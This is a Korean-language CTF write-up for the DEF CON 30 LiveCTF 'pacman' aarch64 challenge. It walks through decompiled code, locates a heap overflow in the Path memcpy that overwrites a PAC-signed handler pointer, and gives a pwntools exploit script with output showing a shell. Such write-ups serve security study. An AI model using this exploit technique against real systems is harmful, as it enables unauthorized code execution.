출처
https://github.com/Live-CTF/LiveCTF-DEFCON30/releases/tag/defcon30
checksec
[*] '/home/ubuntu/LiveCTF30/handout/pacman' Arch: aarch64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No Debuginfo: Yes
준비
- qemu-user 설치 필요.
- lib 디렉토리에 ld-linux-aarch64.so.1, libc.so.6 파일 복붙.
- challenge 스크립트, 아래와 같이 수정.
#!/bin/sh # Requires (for ubuntu 22.04): qemu-user libc6-arm64-cross BIN=${1:-./pacman} exec qemu-aarch64 -cpu max -L ./ ${BIN}
4. IDA Pro에서 분석시 “PACDZA X0”
와 같이 PAC가 존재하므로,
Hex-Rays Decompiler Options → Analysis Options 2에서 “Show ARMv8.3 PAC instructions” 체크 활성화.
Decompiled-src / Analysis
main
0, 1, 2 이외의 다른 메뉴 입력시 "Invalid choice"
문구 띄우면서 다시 메뉴 입력받음.
0 → exit(0)
1 → build_package()
2 → install_package()
int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { char choice[8]; // [xsp+10h] [xbp+10h] BYREF init(); puts("This is PACman v0.1"); puts(byte_401E00); while ( 1 ) { puts("What do you want to do?"); puts(byte_401E00); puts("0) Exit"); puts("1) Build package"); puts("2) Install package"); printf("? "); strcpy(choice, "0"); read(0, choice, 2u); if ( choice[0] == '2' ) { install_package(); } else { if ( (unsigned __int8)choice[0] <= (unsigned int)'2' ) { if ( choice[0] == '1' ) { build_package(); goto LABEL_12; } if ( (unsigned __int8)choice[0] <= (unsigned int)'1' && (choice[0] == '\n' || choice[0] == '0') ) exit(0); } puts("Invalid choice"); } LABEL_12: puts(byte_401E00); } }
build_package
먼저 “? “ 문구를 띄우면서 메뉴 0, 1, 2 중에 뭐 선택할지 물음.
void __cdecl build_package() { object_type v0; // w0 bool end; // [xsp+17h] [xbp+17h] char *type; // [xsp+18h] [xbp+18h] BYREF char *path; // [xsp+20h] [xbp+20h] BYREF char *data; // [xsp+28h] [xbp+28h] BYREF package_object *head; // [xsp+30h] [xbp+30h] package_object *cur; // [xsp+38h] [xbp+38h] package_object *o; // [xsp+40h] [xbp+40h] size_t type_len; // [xsp+48h] [xbp+48h] size_t data_len_0; // [xsp+50h] [xbp+50h] void *p_0; // [xsp+58h] [xbp+58h] size_t path_len; // [xsp+60h] [xbp+60h] size_t data_len; // [xsp+68h] [xbp+68h] void *p; // [xsp+70h] [xbp+70h] void *p_1; // [xsp+78h] [xbp+78h] void *p_2; // [xsp+80h] [xbp+80h] head = 0; cur = 0; end = 0; while ( !end ) { puts("Object type:"); puts("0 = EOF"); puts("1 = File"); puts("2 = Run Script"); o = (package_object *)calloc(1u, 0x1030u); if ( !o ) err(1, "malloc(package_object)"); type = 0; type_len = getinput("? ", &type); if ( !type || strlen(type) != 1 ) fprintf(stderr, "Invalid object type input %s\n", type); o->type = (unsigned __int8)*type; v0 = o->type; if ( v0 == object_type::Script ) { data = 0; data_len_0 = getinput("Script? ", &data); o->handler = (void (*)(void *))script_handler; o->file.data = data; p_0 = o->file.data; p_0 = ptrauth_sign_unauthenticated(p_0, ptrauth_key_asda, 0); o->file.data = (char *)p_0; } else { if ( (unsigned int)v0 > object_type::Script ) goto LABEL_15; if ( v0 == object_type::End ) { end = 1; } else { if ( v0 != object_type::File ) { LABEL_15: fprintf(stderr, "Bad object type int = %d\n", o->type); exit(1); } path = 0; path_len = getinput("Path? ", &path); data = 0; data_len = getinput("Data? ", &data); o->handler = (void (*)(void *))file_handler; o->file.data = data; o->file.data_len = data_len; memcpy(&o->script + 2, path, path_len); o->file.path_len = path_len; p = o->file.data; p = ptrauth_sign_unauthenticated(p, ptrauth_key_asda, 0); o->file.data = (char *)p; } } p_1 = o->handler; p_1 = ptrauth_sign_unauthenticated(p_1, ptrauth_key_asda, 0); o->handler = (void (*)(void *))p_1; if ( head ) { cur->next = o; p_2 = cur->next; p_2 = ptrauth_sign_unauthenticated(p_2, ptrauth_key_asda, 0); cur->next = (package_object *)p_2; } else { head = o; } cur = o; } printf("Package blob: "); write_package_blob(1, head); }
void __cdecl file_handler(package_file *file) { __int64 v1; // kr00_8 int fd; // [xsp+24h] [xbp+24h] fd = open(file->path, 0x41, 0644); // 0x41 = O_WRONLY | O_CREAT; if ( fd < 0 ) err(1, "open(file)"); v1 = 0; file->data = (char *)ptrauth_auth_data(file->data, ptrauth_key_asda, &v1); write(fd, file->data, file->data_len); close(fd); }
0은 object_type::End
, end
변수가 1로 set되어 while(!end)
루프문을 빠져나감.
Data를 A 8개, Path를 B 8개로 했을시,
Package blob: 10000008AAAAAAAA0000008BBBBBBBB20000008AAAAAAAA10000008AAAAAAAA0000008BBBBBBBB0
위와 같이 Package blob이 출력된다.
... if ( v0 == object_type::End ) { end = 1; } ... printf("Package blob: "); write_package_blob(1, head);
1은 object_type::File
, Path
와 Data
를 함께 입력받을 수 있음.
여기서 Path
길이에 따라 memcpy
에 의해 bof 취약점 발생 가능.
o = (package_object *)calloc(1u, 4144u); ... if ( v0 != object_type::File ) { fprintf(stderr, "Bad object type int = %d\n", o->type); exit(1); } path = 0; path_len = getinput("Path? ", &path); data = 0; data_len = getinput("Data? ", &data); o->handler = (void (*)(void *))file_handler; o->file.data = data; o->file.data_len = data_len; memcpy(&o->script + 2, path, path_len); o->file.path_len = path_len; p = o->file.data; p = ptrauth_sign_unauthenticated(p, ptrauth_key_asda, 0); o->file.data = (char *)p; ...
size_t __cdecl getinput(const char *prompt, char **buf) { size_t len; // [xsp+20h] [xbp+20h] BYREF printf("%s", prompt); len = 0; len = getline(buf, &len, stdin); if ( (*buf)[len - 1] == 10 ) (*buf)[--len] = 0; return len; }
calloc(1u, 4144u)
에 의해 할당된 주소 = 0x4142A0
.
Path? AAAAAAAA
Data? BBBBBBBB
로 입력하고 memcpy(&o->script + 2, path, path_len);
할 때를 살펴보면,x0
레지스터는 0x4142C0
주소를 가리킨다, 즉 할당된 주소 + 0x20
이다.
여기서 0x4152C8 - 0x4142C0 = 0x1008
,0x1008
만큼 더미를 채워서 file_handler
함수를 덮어쓸 수 있다.
MEMORY:00000000004142A0 DCQ 0 ; next MEMORY:00000000004142A8 DCD object_type::File ; type MEMORY:00000000004142AC DCB 0, 0, 0, 0 MEMORY:00000000004142B0 DCQ aBbbbbbbb ; file.data ; "BBBBBBBB" MEMORY:00000000004142B8 DCQ 8 ; file.data_len MEMORY:00000000004142C0 DCB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0; file.path ... MEMORY:00000000004152B6 DCB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 MEMORY:00000000004152C8 DCQ file_handler ; handler
2는 object_type::Script
, Script?
문구와 함께 data를 입력받음.
이미 1번 메뉴에서 Path와 Data 함께 입력받기에, 필요없음.
if ( v0 == object_type::Script ) { data = 0; data_len_0 = getinput("Script? ", &data); o->handler = (void (*)(void *))script_handler; o->file.data = data; p_0 = o->file.data; p_0 = ptrauth_sign_unauthenticated(p_0, ptrauth_key_asda, 0); o->file.data = (char *)p_0; }
install_package
parse_package_blob
를 호출하여 파싱된 type
에 따라handler
에 저장된 함수가 호출될지 안될지 여부를 결정한다.
만약 type
이 1 또는 2라면, handler
에 저장된 함수가 호출된다.
void __cdecl install_package() { __int64 v0; // kr00_8 unsigned int type; // w0 __int64 v2; // kr08_8 package_object *cur; // [xsp+18h] [xbp+18h] for ( cur = parse_package_blob(0); cur; cur = cur->next ) { v0 = 0; cur->handler = (void (*)(void *))ptrauth_auth_data(cur->handler, ptrauth_key_asda, &v0); printf("Evaluating object of type %c...\n", (unsigned int)cur->type); type = cur->type; if ( type != '2' ) { if ( type > '2' ) goto LABEL_10; if ( type == '0' ) exit(0); if ( type != '1' ) { LABEL_10: fprintf(stderr, "Corrupt object type int = %d\n", cur->type); exit(1); } } cur->handler(&cur->file); v2 = 0; cur->next = (package_object *)ptrauth_auth_data(cur->next, ptrauth_key_asda, &v2); } }
parse_package_blob
입력된 blob
에 따라 package_object
를 할당하고 type
에 따라 파싱역할을 한다.
각 타입들은 build_package 내에 쓰인 type에 따라 작동한다고 보면 됨.
package_object *__cdecl parse_package_blob(int fd) { unsigned int type; // w0 bool end; // [xsp+2Fh] [xbp+2Fh] package_object *head; // [xsp+30h] [xbp+30h] package_object *cur; // [xsp+38h] [xbp+38h] package_object *o; // [xsp+40h] [xbp+40h] size_t data_len_0; // [xsp+48h] [xbp+48h] char *data_0; // [xsp+50h] [xbp+50h] size_t path_len; // [xsp+68h] [xbp+68h] char *path; // [xsp+70h] [xbp+70h] size_t data_len; // [xsp+78h] [xbp+78h] char *data; // [xsp+80h] [xbp+80h] head = 0; cur = 0; end = 0; while ( !end ) { o = (package_object *)calloc(1u, 4144u); if ( !o ) err(1, "malloc(package_object)"); read_exactly(fd, &o->type, 1u); printf("Parsing object of type %c\n", (unsigned int)o->type); type = o->type; if ( type == '2' ) { if ( is_running_safe() ) { fwrite("Scripts not allowed unless PACMAN_UNSAFE=1\n", 1u, 0x2Bu, stderr); exit(1); } data_len_0 = read_size_field(fd); data_0 = (char *)malloc(data_len_0); if ( !data_0 ) err(1, "malloc(data)"); read_exactly(fd, data_0, data_len_0); o->handler = (void (*)(void *))script_handler; o->handler = (void (*)(void *))ptrauth_sign_unauthenticated(o->handler, ptrauth_key_asda, 0); o->file.data = data_0; o->file.data = (char *)ptrauth_sign_unauthenticated(o->file.data, ptrauth_key_asda, 0); } else { if ( type > '2' ) goto LABEL_23; if ( type == '0' ) { end = 1; } else { if ( type != '1' ) { LABEL_23: fprintf(stderr, "Bad object type int = %d\n", o->type); exit(1); } path_len = read_size_field(fd); path = (char *)malloc(path_len); if ( !path ) err(1, "malloc(path)"); read_exactly(fd, path, path_len); if ( is_running_safe() && strchr(path, '/') ) { fwrite("Subdirectories not allowed in safe mode\n", 1u, 0x28u, stderr); exit(1); } data_len = read_size_field(fd); data = (char *)malloc(data_len); if ( !data ) err(1, "malloc(data)"); read_exactly(fd, data, data_len); o->handler = (void (*)(void *))file_handler; o->handler = (void (*)(void *))ptrauth_sign_unauthenticated(o->handler, ptrauth_key_asda, 0); o->file.data = data; o->file.data_len = data_len; memcpy(&o->script + 2, path, path_len); o->file.path_len = path_len; o->file.data = (char *)ptrauth_sign_unauthenticated(o->file.data, ptrauth_key_asda, 0); } } if ( head ) { cur->next = o; cur->next = (package_object *)ptrauth_sign_unauthenticated(cur->next, ptrauth_key_asda, 0); } else { head = o; } cur = o; } return head; }
환경변수가 지정안되있고, “/” 필터링 처리가 되있기에Path
를 임의로 지정해서 flag를 읽어낼 순 없을 것이다..
if ( is_running_safe() && strchr(path, '/') ) { fwrite("Subdirectories not allowed in safe mode\n", 1u, 0x28u, stderr); exit(1); }
bool __cdecl is_running_safe() { char *unsafe; // [xsp+18h] [xbp+18h] unsafe = getenv("PACMAN_UNSAFE"); return !unsafe || *unsafe == a1[0]; }
solve.py
Path
는 0x1008바이트만큼 더미로 채우고, script_handler
함수가 실행되게끔 handler
를 덮어쓰게끔 만든다.Data
는 “sh”
문자열로 지정해서 blob를 생성한다. (heap overflow)
이후에 install_package
함수를 통해 생성된 blob을 넣게 되면,
cur->handler(&cur->file); 코드에서 script_handler가 호출되면서 Data인 script->script가 인자로, system이 호출되면서 쉘을 딸 수 있었다.
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') # p = remote("127.0.0.1", 1337) p = process("./challenge") e = ELF('./pacman',checksec=False) s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims: p.recvuntil(delims) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) # build package sla(b'? ', b'1') # object_type::File sla(b'? ', b'1') sla(b'Path? ', b'A'*0x1008 + p64(e.symbols['script_handler'])) sla(b'Data? ', b'sh') # object_type::End sla(b'? ', b'0') # get blob ru(b'blob: ') blob = ru(b'\nWhat')[:-5] success(f"blob: {blob}") # install_package with blob sla(b'? ', b'2') sl(blob) p.interactive()
Result
ubuntu@2d0f4d9a440c:~/LiveCTF30/handout$ python3 solve.py [+] Starting local process './challenge': pid 1112 [+] blob: b'10004112AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x10\x00\x00\x00\x00\x00\x00\x18\x10@\x00\x00\x00<\x000000002sh0' [*] Switching to interactive mode Parsing object of type 1 Parsing object of type 0 Evaluating object of type 1... $ ls AAAAAAAA challenge.bak lib pacman.i64 pacman.id2 solve.py answer.py challenge_debug libc.so.6 pacman.id0 pacman.nam challenge ld-linux-aarch64.so.1 pacman pacman.id1 pacman.til $ id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu) $